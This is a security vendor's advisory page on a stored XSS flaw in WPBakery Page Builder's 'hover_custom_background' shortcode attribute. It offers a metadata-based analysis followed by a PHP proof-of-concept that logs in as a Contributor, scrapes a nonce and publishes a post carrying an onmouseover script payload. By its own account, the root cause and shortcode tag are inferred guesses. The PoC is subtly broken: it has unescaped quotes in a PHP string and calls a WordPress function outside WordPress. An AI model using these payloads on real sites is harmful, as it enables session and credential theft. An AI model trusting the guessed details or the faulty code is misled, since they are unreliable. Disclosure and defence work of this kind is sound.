Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-122161 (metadata-based):
This is a stored cross-site scripting (XSS) vulnerability in WPBakery Page Builder (js_composer) versions up to and including 9.1, patched in 9.2. The flaw resides in the handling of the ‘hover_custom_background’ shortcode attribute. An authenticated attacker with Contributor or higher privileges can inject arbitrary JavaScript that executes when a victim views the compromised page. The CVSS score is 6.4, reflecting network attack vector, low complexity, low privileges required, no user interaction, and scope change with low confidentiality and integrity impact.
Root Cause: The CWE-79 classification and description confirm insufficient input sanitization and output escaping. The description explicitly states that wp_kses_post, applied to post content on save, does not parse shortcode attribute text, allowing injected double quotes to survive storage and break out of the style attribute context at render time. Atomic Edge analysis infers that the plugin fails to sanitize shortcode attributes before rendering them into HTML attributes, likely using the raw attribute value without applying esc_attr() or a similar escaping function. This conclusion is inferred from the CWE and description, as no code diff is available for confirmation.
Exploitation: An attacker with Contributor access creates or edits a post containing a shortcode with a crafted ‘hover_custom_background’ attribute. For example: [vc_row hover_custom_background=”red” onmouseover=”alert(document.domain)” x=””] or a style attribute injection like hover_custom_background=”background:url();” onmouseover=”alert(1)”. The payload survives wp_kses_post because that function does not parse shortcode attributes on save. When the page is rendered, the plugin outputs the attribute value into a style attribute without proper escaping, breaking out and executing the injected script. The exact shortcode tag (likely vc_row or vc_column) is inferred from WPBakery conventions, as the description does not name it. Attackers submit via the standard WordPress post editor (e.g., /wp-admin/post.php?post=ID&action=edit) or via XML-RPC/wp-json endpoints if available, but the core vector is content submission.
Remediation: The fix in 9.2 likely applies esc_attr() or a custom sanitization routine to the ‘hover_custom_background’ attribute before output, and may validate attribute values against a whitelist of allowed CSS properties. Atomic Edge analysis infers that the patch escapes double quotes and other HTML-sensitive characters in shortcode attributes at render time, and possibly extends wp_kses_post to parse shortcode attributes. Confirmation would require the patched code, which is not available.
Impact: Successful exploitation leads to stored XSS, enabling session hijacking, credential theft, and actions on behalf of the victim (including administrators). Scope change (CVSS S:C) indicates the script can affect resources beyond the vulnerable component, such as the entire WordPress site. Privilege escalation from Contributor to Administrator is possible if an admin views the page. Data exfiltration and site defacement are also feasible.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-122161 - WPBakery Page Builder <= 9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'hover_custom_background' Shortcode Attribute
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Contributor-level credentials
$password = 'password';
// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if ($response === false) {
die('Login failed: ' . curl_error($ch));
}
curl_close($ch);
// Step 2: Create a new post with the malicious shortcode
// The payload uses a double-quote breakout in the hover_custom_background attribute.
// Assumption: The shortcode tag is 'vc_row' (common for WPBakery). The exact tag is inferred.
$malicious_content = '[vc_row hover_custom_background="background: url('x');" onmouseover="alert(document.domain)" style="']';
$post_data = [
'action' => 'editpost',
'post_ID' => '0', // new post
'post_type' => 'post',
'post_title' => 'XSS PoC',
'content' => $malicious_content,
'post_status' => 'publish', // Contributor typically cannot publish, use 'pending' if needed
'post_author' => get_current_user_id(),
'_wpnonce' => 'PLACEHOLDER' // Nonce needed; extract from edit page
];
// Extract nonce from the new post page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$new_post_page = curl_exec($ch);
curl_close($ch);
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $new_post_page, $matches)) {
$post_data['_wpnonce'] = $matches[1];
} else {
die('Could not extract nonce. The exploit may need manual adjustment.');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if ($response === false) {
die('Post creation failed: ' . curl_error($ch));
}
curl_close($ch);
// Step 3: The post is created. An administrator viewing the post will trigger the XSS.
echo "Exploit submitted. The stored XSS will execute when a victim views the post.n";
?>